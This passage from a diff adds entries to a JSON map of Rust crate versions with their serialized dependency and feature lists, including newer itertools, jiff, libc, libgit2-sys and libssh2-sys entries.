"{\"dependencies\":[{\"features\":[\"extern_crate_alloc\"],\"name\":\"bytemuck\",\"req\":\"^1.8.0\"},{\"name\":\"byteorder-lite\",\"req\":\"^0.1.0\"},{\"name\":\"color_quant\",\"optional\":true,\"req\":\"^1.1\"},{\"kind\":\"dev\",\"name\":\"crc32fast\",\"req\":\"^1.2.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.0\"},{\"name\":\"dav1d\",\"optional\":true,\"req\":\"^0.10.3\"},{\"default_features\":false,\"name\":\"exr\",\"optional\":true,\"req\":\"^1.74.0\"},{\"name\":\"gif\",\"optional\":true,\"req\":\"^0.14.0\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3\"},{\"name\":\"image-webp\",\"optional\":true,\"req\":\"^0.2.0\"},{\"name\":\"moxcms\",\"req\":\"^0.7.4\"},{\"name\":\"mp4parse\",\"optional\":true,\"req\":\"^0.17.0\"},{\"kind\":\"dev\",\"name\":\"num-complex\",\"req\":\"^0.4\"},{\"name\":\"num-traits\",\"req\":\"^0.2.0\"},{\"name\":\"png\",\"optional\":true,\"req\":\"^0.18.0\"},{\"name\":\"qoi\",\"optional\":true,\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"ravif\",\"optional\":true,\"req\":\"^0.12\"},{\"name\":\"rayon\",\"optional\":true,\"req\":\"^1.7.0\"},{\"default_features\":false,\"name\":\"rgb\",\"optional\":true,\"req\":\"^0.8.48\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.214\"},{\"name\":\"tiff\",\"optional\":true,\"req\":\"^0.10.3\"},{\"default_features\":false,\"name\":\"zune-core\",\"optional\":true,\"req\":\"^0.5.0\"},{\"name\":\"zune-jpeg\",\"optional\":true,\"req\":\"^0.5.5\"}],\"features\":{\"avif\":[\"dep:ravif\",\"dep:rgb\"],\"avif-native\":[\"dep:mp4parse\",\"dep:dav1d\"],\"benchmarks\":[],\"bmp\":[],\"color_quant\":[\"dep:color_quant\"],\"dds\":[],\"default\":[\"rayon\",\"default-formats\"],\"default-formats\":[\"avif\",\"bmp\",\"dds\",\"exr\",\"ff\",\"gif\",\"hdr\",\"ico\",\"jpeg\",\"png\",\"pnm\",\"qoi\",\"tga\",\"tiff\",\"webp\"],\"exr\":[\"dep:exr\"],\"ff\":[],\"gif\":[\"dep:gif\",\"dep:color_quant\"],\"hdr\":[],\"ico\":[\"bmp\",\"png\"],\"jpeg\":[\"dep:zune-core\",\"dep:zune-jpeg\"],\"nasm\":[\"ravif?/asm\"],\"png\":[\"dep:png\"],\"pnm\":[],\"qoi\":[\"dep:qoi\"],\"rayon\":[\"dep:rayon\",\"ravif?/threading\",\"exr?/rayon\"],\"serde\":[\"dep:serde\"],\"tga\":[],\"tiff\":[\"dep:tiff\"],\"webp\":[\"dep:image-webp\"]}}", @@ -956,12 +976,15 @@ "is_ci_1.2.0": "{\"dependencies\":[],\"features\":{}}", "is_terminal_polyfill_1.70.2": "{\"dependencies\":[],\"features\":{\"default\":[]}}", "itertools_0.10.5": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"= 0\"},{\"default_features\":false,\"name\":\"either\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"permutohedron\",\"req\":\"^0.2\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.7\"}],\"features\":{\"default\":[\"use_std\"],\"use_alloc\":[],\"use_std\":[\"use_alloc\",\"either/use_std\"]}}", + "itertools_0.12.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4.0\"},{\"default_features\":false,\"name\":\"either\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"permutohedron\",\"req\":\"^0.2\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.7\"}],\"features\":{\"default\":[\"use_std\"],\"use_alloc\":[],\"use_std\":[\"use_alloc\",\"either/use_std\"]}}", "itertools_0.13.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4.0\"},{\"default_features\":false,\"name\":\"either\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"permutohedron\",\"req\":\"^0.2\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.7\"}],\"features\":{\"default\":[\"use_std\"],\"use_alloc\":[],\"use_std\":[\"use_alloc\",\"either/use_std\"]}}", "itertools_0.14.0": "{\"dependencies\":[{\"features\":[\"html_reports\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4.0\"},{\"default_features\":false,\"name\":\"either\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"permutohedron\",\"req\":\"^0.2\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.7\"}],\"features\":{\"default\":[\"use_std\"],\"use_alloc\":[],\"use_std\":[\"use_alloc\",\"either/use_std\"]}}", "itoa_1.0.17": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.8\",\"target\":\"cfg(not(miri))\"},{\"name\":\"no-panic\",\"optional\":true,\"req\":\"^0.1\"}],\"features\":{}}", "ixdtf_0.6.4": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"serde-json-core\",\"req\":\"^0.6.0\"}],\"features\":{\"default\":[\"duration\"],\"duration\":[]}}", "jiff-static_0.2.18": "{\"dependencies\":[{\"name\":\"jiff-tzdb\",\"optional\":true,\"req\":\"^0.1.4\"},{\"name\":\"proc-macro2\",\"req\":\"^1.0.93\"},{\"name\":\"quote\",\"req\":\"^1.0.38\"},{\"name\":\"syn\",\"req\":\"^2.0.98\"}],\"features\":{\"default\":[],\"perf-inline\":[],\"tz-fat\":[],\"tzdb\":[\"dep:jiff-tzdb\"]}}", + "jiff-static_0.2.23": "{\"dependencies\":[{\"name\":\"jiff-tzdb\",\"optional\":true,\"req\":\"^0.1.6\"},{\"name\":\"proc-macro2\",\"req\":\"^1.0.93\"},{\"name\":\"quote\",\"req\":\"^1.0.38\"},{\"name\":\"syn\",\"req\":\"^2.0.98\"}],\"features\":{\"default\":[],\"perf-inline\":[],\"tz-fat\":[],\"tzdb\":[\"dep:jiff-tzdb\"]}}", "jiff_0.2.18": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.81\"},{\"features\":[\"serde\"],\"kind\":\"dev\",\"name\":\"chrono\",\"req\":\"^0.4.38\"},{\"kind\":\"dev\",\"name\":\"chrono-tz\",\"req\":\"^0.10.0\"},{\"kind\":\"dev\",\"name\":\"hifitime\",\"req\":\"^3.9.0\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"humantime\",\"req\":\"^2.1.0\"},{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1.39.0\"},{\"name\":\"jiff-static\",\"req\":\"=0.2.18\",\"target\":\"cfg(any())\"},{\"name\":\"jiff-static\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"jiff-tzdb\",\"optional\":true,\"req\":\"^0.1.5\"},{\"name\":\"jiff-tzdb-platform\",\"optional\":true,\"req\":\"^0.1.3\",\"target\":\"cfg(any(windows, target_family = \\\"wasm\\\"))\"},{\"name\":\"js-sys\",\"optional\":true,\"req\":\"^0.3.50\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"default_features\":false,\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.21\"},{\"kind\":\"dev\",\"name\":\"log\",\"req\":\"^0.4.21\"},{\"default_features\":false,\"name\":\"portable-atomic\",\"req\":\"^1.10.0\",\"target\":\"cfg(not(target_has_atomic = \\\"ptr\\\"))\"},{\"default_features\":false,\"name\":\"portable-atomic-util\",\"req\":\"^0.2.4\",\"target\":\"cfg(not(target_has_atomic = \\\"ptr\\\"))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.203\"},{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.221\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.117\"},{\"kind\":\"dev\",\"name\":\"serde_yaml\",\"req\":\"^0.9.34\"},{\"kind\":\"dev\",\"name\":\"tabwriter\",\"req\":\"^1.4.0\"},{\"features\":[\"local-offset\",\"macros\",\"parsing\"],\"kind\":\"dev\",\"name\":\"time\",\"req\":\"^0.3.36\"},{\"kind\":\"dev\",\"name\":\"tzfile\",\"req\":\"^0.1.3\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"name\":\"wasm-bindgen\",\"optional\":true,\"req\":\"^0.2.70\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"default_features\":false,\"features\":[\"Win32_Foundation\",\"Win32_System_Time\"],\"name\":\"windows-sys\",\"optional\":true,\"req\":\">=0.52.0, <=0.61\",\"target\":\"cfg(windows)\"}],\"features\":{\"alloc\":[\"serde_core?/alloc\",\"portable-atomic-util/alloc\"],\"default\":[\"std\",\"tz-system\",\"tz-fat\",\"tzdb-bundle-platform\",\"tzdb-zoneinfo\",\"tzdb-concatenated\",\"perf-inline\"],\"js\":[\"dep:wasm-bindgen\",\"dep:js-sys\"],\"logging\":[\"dep:log\"],\"perf-inline\":[],\"serde\":[\"dep:serde_core\"],\"static\":[\"static-tz\",\"jiff-static?/tzdb\"],\"static-tz\":[\"dep:jiff-static\"],\"std\":[\"alloc\",\"log?/std\",\"serde_core?/std\"],\"tz-fat\":[\"jiff-static?/tz-fat\"],\"tz-system\":[\"std\",\"dep:windows-sys\"],\"tzdb-bundle-always\":[\"dep:jiff-tzdb\",\"alloc\"],\"tzdb-bundle-platform\":[\"dep:jiff-tzdb-platform\",\"alloc\"],\"tzdb-concatenated\":[\"std\"],\"tzdb-zoneinfo\":[\"std\"]}}", + "jiff_0.2.23": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.81\"},{\"features\":[\"serde\"],\"kind\":\"dev\",\"name\":\"chrono\",\"req\":\"^0.4.38\"},{\"kind\":\"dev\",\"name\":\"chrono-tz\",\"req\":\"^0.10.0\"},{\"kind\":\"dev\",\"name\":\"hifitime\",\"req\":\"^3.9.0\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"humantime\",\"req\":\"^2.1.0\"},{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1.39.0\"},{\"name\":\"jiff-static\",\"req\":\"=0.2.23\",\"target\":\"cfg(any())\"},{\"name\":\"jiff-static\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"jiff-tzdb\",\"optional\":true,\"req\":\"^0.1.6\"},{\"name\":\"jiff-tzdb-platform\",\"optional\":true,\"req\":\"^0.1.3\",\"target\":\"cfg(any(windows, target_family = \\\"wasm\\\"))\"},{\"name\":\"js-sys\",\"optional\":true,\"req\":\"^0.3.50\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"default_features\":false,\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.21\"},{\"kind\":\"dev\",\"name\":\"log\",\"req\":\"^0.4.21\"},{\"default_features\":false,\"name\":\"portable-atomic\",\"req\":\"^1.10.0\",\"target\":\"cfg(not(target_has_atomic = \\\"ptr\\\"))\"},{\"default_features\":false,\"name\":\"portable-atomic-util\",\"req\":\"^0.2.4\",\"target\":\"cfg(not(target_has_atomic = \\\"ptr\\\"))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.203\"},{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.221\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.117\"},{\"kind\":\"dev\",\"name\":\"serde_yaml\",\"req\":\"^0.9.34\"},{\"kind\":\"dev\",\"name\":\"tabwriter\",\"req\":\"^1.4.0\"},{\"features\":[\"local-offset\",\"macros\",\"parsing\"],\"kind\":\"dev\",\"name\":\"time\",\"req\":\"^0.3.36\"},{\"kind\":\"dev\",\"name\":\"time-tz\",\"req\":\"^2.0.0\"},{\"kind\":\"dev\",\"name\":\"tzfile\",\"req\":\"^0.1.3\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"name\":\"wasm-bindgen\",\"optional\":true,\"req\":\"^0.2.70\",\"target\":\"cfg(all(any(target_arch = \\\"wasm32\\\", target_arch = \\\"wasm64\\\"), target_os = \\\"unknown\\\"))\"},{\"default_features\":false,\"features\":[\"Win32_Foundation\",\"Win32_System_Time\"],\"name\":\"windows-sys\",\"optional\":true,\"req\":\">=0.52.0, <=0.61\",\"target\":\"cfg(windows)\"}],\"features\":{\"alloc\":[\"serde_core?/alloc\",\"portable-atomic-util/alloc\"],\"default\":[\"std\",\"tz-system\",\"tz-fat\",\"tzdb-bundle-platform\",\"tzdb-zoneinfo\",\"tzdb-concatenated\",\"perf-inline\"],\"js\":[\"dep:wasm-bindgen\",\"dep:js-sys\"],\"logging\":[\"dep:log\"],\"perf-inline\":[],\"serde\":[\"dep:serde_core\"],\"static\":[\"static-tz\",\"jiff-static?/tzdb\"],\"static-tz\":[\"dep:jiff-static\"],\"std\":[\"alloc\",\"log?/std\",\"serde_core?/std\"],\"tz-fat\":[\"jiff-static?/tz-fat\"],\"tz-system\":[\"std\",\"dep:windows-sys\"],\"tzdb-bundle-always\":[\"dep:jiff-tzdb\",\"alloc\"],\"tzdb-bundle-platform\":[\"dep:jiff-tzdb-platform\",\"alloc\"],\"tzdb-concatenated\":[\"std\"],\"tzdb-zoneinfo\":[\"std\"]}}", "jni-sys_0.3.0": "{\"dependencies\":[],\"features\":{}}", "jni_0.21.1": "{\"dependencies\":[{\"name\":\"cesu8\",\"req\":\"^1.1.0\"},{\"name\":\"cfg-if\",\"req\":\"^1.0.0\"},{\"name\":\"combine\",\"req\":\"^4.1.0\"},{\"name\":\"java-locator\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"jni-sys\",\"req\":\"^0.3.0\"},{\"name\":\"libloading\",\"optional\":true,\"req\":\"^0.7\"},{\"name\":\"log\",\"req\":\"^0.4.4\"},{\"name\":\"thiserror\",\"req\":\"^1.0.20\"},{\"kind\":\"dev\",\"name\":\"assert_matches\",\"req\":\"^1.5.0\"},{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"rusty-fork\",\"req\":\"^0.3.0\"},{\"kind\":\"build\",\"name\":\"walkdir\",\"req\":\"^2\"},{\"features\":[\"Win32_Globalization\"],\"name\":\"windows-sys\",\"req\":\"^0.45.0\",\"target\":\"cfg(windows)\"},{\"kind\":\"dev\",\"name\":\"bytemuck\",\"req\":\"^1.13.0\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[],\"invocation\":[\"java-locator\",\"libloading\"]}}", "jobserver_0.1.34": "{\"dependencies\":[{\"features\":[\"std\"],\"name\":\"getrandom\",\"req\":\"^0.3.2\",\"target\":\"cfg(windows)\"},{\"name\":\"libc\",\"req\":\"^0.2.171\",\"target\":\"cfg(unix)\"},{\"features\":[\"fs\"],\"kind\":\"dev\",\"name\":\"nix\",\"req\":\"^0.28.0\",\"target\":\"cfg(unix)\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.10.1\"}],\"features\":{}}", @@ -975,16 +998,23 @@ "landlock_0.4.4": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0\"},{\"name\":\"enumflags2\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1\"},{\"name\":\"libc\",\"req\":\"^0.2.175\"},{\"kind\":\"dev\",\"name\":\"strum\",\"req\":\"^0.26\"},{\"kind\":\"dev\",\"name\":\"strum_macros\",\"req\":\"^0.26\"},{\"name\":\"thiserror\",\"req\":\"^2.0\"}],\"features\":{}}", "language-tags_0.3.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"}],\"features\":{}}", "lazy_static_1.5.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"features\":[\"once\"],\"name\":\"spin\",\"optional\":true,\"req\":\"^0.9.8\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1\"}],\"features\":{\"spin_no_std\":[\"spin\"]}}", + "leb128fmt_0.1.0": "{\"dependencies\":[],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"std\":[]}}", "libc_0.2.182": "{\"dependencies\":[{\"name\":\"rustc-std-workspace-core\",\"optional\":true,\"req\":\"^1.0.1\"}],\"features\":{\"align\":[],\"const-extern-fn\":[],\"default\":[\"std\"],\"extra_traits\":[],\"rustc-dep-of-std\":[\"align\",\"rustc-std-workspace-core\"],\"std\":[],\"use_std\":[\"std\"]}}", + "libc_0.2.183": "{\"dependencies\":[{\"name\":\"rustc-std-workspace-core\",\"optional\":true,\"req\":\"^1.0.1\"}],\"features\":{\"align\":[],\"const-extern-fn\":[],\"default\":[\"std\"],\"extra_traits\":[],\"rustc-dep-of-std\":[\"align\",\"rustc-std-workspace-core\"],\"std\":[],\"use_std\":[\"std\"]}}", "libdbus-sys_0.2.7": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"optional\":true,\"req\":\"^1.0.78\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"optional\":true,\"req\":\"^0.3\"}],\"features\":{\"default\":[\"pkg-config\"],\"vendored\":[\"cc\"]}}", + "libgit2-sys_0.18.3+1.9.2": "{\"dependencies\":[{\"features\":[\"parallel\"],\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.43\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"name\":\"libssh2-sys\",\"optional\":true,\"req\":\"^0.3.0\"},{\"default_features\":false,\"features\":[\"libc\"],\"name\":\"libz-sys\",\"req\":\"^1.1.0\"},{\"name\":\"openssl-sys\",\"optional\":true,\"req\":\"^0.9.45\",\"target\":\"cfg(unix)\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.15\"}],\"features\":{\"https\":[\"openssl-sys\"],\"ssh\":[\"libssh2-sys\"],\"vendored\":[],\"vendored-openssl\":[\"openssl-sys/vendored\"],\"zlib-ng-compat\":[\"libz-sys/zlib-ng\",\"libssh2-sys?/zlib-ng-compat\"]}}", "libloading_0.8.9": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\",\"target\":\"cfg(unix)\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1\"},{\"name\":\"windows-link\",\"req\":\"^0.2\",\"target\":\"cfg(windows)\"},{\"features\":[\"Win32_Foundation\"],\"kind\":\"dev\",\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "libm_0.2.16": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"no-panic\",\"req\":\"^0.1.35\"}],\"features\":{\"arch\":[],\"default\":[\"arch\"],\"force-soft-floats\":[],\"unstable\":[\"unstable-intrinsics\",\"unstable-float\"],\"unstable-float\":[],\"unstable-intrinsics\":[],\"unstable-public-internals\":[]}}", "libredox_0.1.12": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"name\":\"ioslice\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"name\":\"redox_syscall\",\"optional\":true,\"req\":\"^0.7\"}],\"features\":{\"call\":[],\"default\":[\"call\",\"std\",\"redox_syscall\"],\"mkns\":[\"ioslice\"],\"std\":[]}}", + "libredox_0.1.14": "{\"dependencies\":[{\"name\":\"bitflags\",\"optional\":true,\"req\":\"^2\"},{\"name\":\"ioslice\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"plain\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"redox_syscall\",\"optional\":true,\"req\":\"^0.7\"}],\"features\":{\"base\":[\"libc\"],\"call\":[\"base\"],\"default\":[\"base\",\"call\",\"std\",\"redox_syscall\",\"protocol\"],\"mkns\":[\"ioslice\"],\"protocol\":[\"plain\",\"bitflags\",\"redox_syscall\"],\"std\":[\"base\"]}}", "libsqlite3-sys_0.30.1": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"runtime\"],\"kind\":\"build\",\"name\":\"bindgen\",\"optional\":true,\"req\":\"^0.69\"},{\"kind\":\"build\",\"name\":\"cc\",\"optional\":true,\"req\":\"^1.1.6\"},{\"name\":\"openssl-sys\",\"optional\":true,\"req\":\"^0.9.103\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"optional\":true,\"req\":\"^0.3.19\"},{\"kind\":\"build\",\"name\":\"prettyplease\",\"optional\":true,\"req\":\"^0.2.20\"},{\"default_features\":false,\"kind\":\"build\",\"name\":\"quote\",\"optional\":true,\"req\":\"^1.0.36\"},{\"features\":[\"full\",\"extra-traits\",\"visit-mut\"],\"kind\":\"build\",\"name\":\"syn\",\"optional\":true,\"req\":\"^2.0.72\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"optional\":true,\"req\":\"^0.2.15\"}],\"features\":{\"buildtime_bindgen\":[\"bindgen\",\"pkg-config\",\"vcpkg\"],\"bundled\":[\"cc\",\"bundled_bindings\"],\"bundled-sqlcipher\":[\"bundled\"],\"bundled-sqlcipher-vendored-openssl\":[\"bundled-sqlcipher\",\"openssl-sys/vendored\"],\"bundled-windows\":[\"cc\",\"bundled_bindings\"],\"bundled_bindings\":[],\"default\":[\"min_sqlite_version_3_14_0\"],\"in_gecko\":[],\"loadable_extension\":[\"prettyplease\",\"quote\",\"syn\"],\"min_sqlite_version_3_14_0\":[\"pkg-config\",\"vcpkg\"],\"preupdate_hook\":[\"buildtime_bindgen\"],\"session\":[\"preupdate_hook\",\"buildtime_bindgen\"],\"sqlcipher\":[],\"unlock_notify\":[],\"wasm32-wasi-vfs\":[],\"with-asan\":[]}}", + "libssh2-sys_0.3.1": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.25\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"libc\"],\"name\":\"libz-sys\",\"req\":\"^1.1.0\"},{\"name\":\"openssl-sys\",\"req\":\"^0.9.35\",\"target\":\"cfg(unix)\"},{\"name\":\"openssl-sys\",\"optional\":true,\"req\":\"^0.9.35\",\"target\":\"cfg(windows)\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.11\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"req\":\"^0.2\",\"target\":\"cfg(target_env = \\\"msvc\\\")\"}],\"features\":{\"openssl-on-win32\":[\"openssl-sys\"],\"vendored-openssl\":[\"openssl-sys/vendored\"],\"zlib-ng-compat\":[\"libz-sys/zlib-ng\"]}}", "libz-sys_1.1.23": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.98\"},{\"kind\":\"build\",\"name\":\"cmake\",\"optional\":true,\"req\":\"^0.1.50\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.43\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.9\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"req\":\"^0.2.11\"}],\"features\":{\"asm\":[],\"default\":[\"libc\",\"stock-zlib\"],\"static\":[],\"stock-zlib\":[],\"zlib-ng\":[\"libc\",\"cmake\"],\"zlib-ng-no-cmake-experimental-community-maintained\":[\"libc\"]}}", + "libz-sys_1.1.25": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.98\"},{\"kind\":\"build\",\"name\":\"cmake\",\"optional\":true,\"req\":\"^0.1.50\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.43\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.9\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"req\":\"^0.2.11\"}],\"features\":{\"asm\":[],\"default\":[\"libc\",\"stock-zlib\"],\"static\":[],\"stock-zlib\":[],\"zlib-ng\":[\"libc\",\"cmake\"],\"zlib-ng-no-cmake-experimental-community-maintained\":[\"libc\"]}}", "linked-hash-map_0.5.6": "{\"dependencies\":[{\"name\":\"heapsize\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0\"}],\"features\":{\"heapsize_impl\":[\"heapsize\"],\"nightly\":[],\"serde_impl\":[\"serde\"]}}", "linux-keyutils_0.2.4": "{\"dependencies\":[{\"default_features\":false,\"name\":\"bitflags\",\"req\":\"^2.4\"},{\"default_features\":false,\"features\":[\"std\",\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"^4.4.11\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.132\"},{\"kind\":\"dev\",\"name\":\"zeroize\",\"req\":\"^1.5.7\"}],\"features\":{\"default\":[],\"std\":[\"bitflags/std\"]}}", "linux-raw-sys_0.11.0": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.100\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"}],\"features\":{\"auxvec\":[],\"bootparam\":[],\"btrfs\":[],\"default\":[\"std\",\"general\",\"errno\"],\"elf\":[],\"elf_uapi\":[],\"errno\":[],\"general\":[],\"if_arp\":[],\"if_ether\":[],\"if_packet\":[],\"image\":[],\"io_uring\":[],\"ioctl\":[],\"landlock\":[],\"loop_device\":[],\"mempolicy\":[],\"net\":[],\"netlink\":[],\"no_std\":[],\"prctl\":[],\"ptrace\":[],\"rustc-dep-of-std\":[\"core\",\"no_std\"],\"std\":[],\"system\":[],\"xdp\":[]}}", + "linux-raw-sys_0.12.1": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.100\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"}],\"features\":{\"auxvec\":[],\"bootparam\":[],\"btrfs\":[],\"default\":[\"std\",\"general\",\"errno\"],\"elf\":[],\"elf_uapi\":[],\"errno\":[],\"general\":[],\"if_arp\":[],\"if_ether\":[],\"if_packet\":[],\"if_tun\":[],\"image\":[],\"io_uring\":[],\"ioctl\":[],\"landlock\":[],\"loop_device\":[],\"mempolicy\":[],\"net\":[],\"netlink\":[],\"no_std\":[],\"prctl\":[],\"ptrace\":[],\"rustc-dep-of-std\":[\"core\",\"no_std\"],\"std\":[],\"system\":[],\"vm_sockets\":[],\"xdp\":[]}}", "linux-raw-sys_0.4.15": 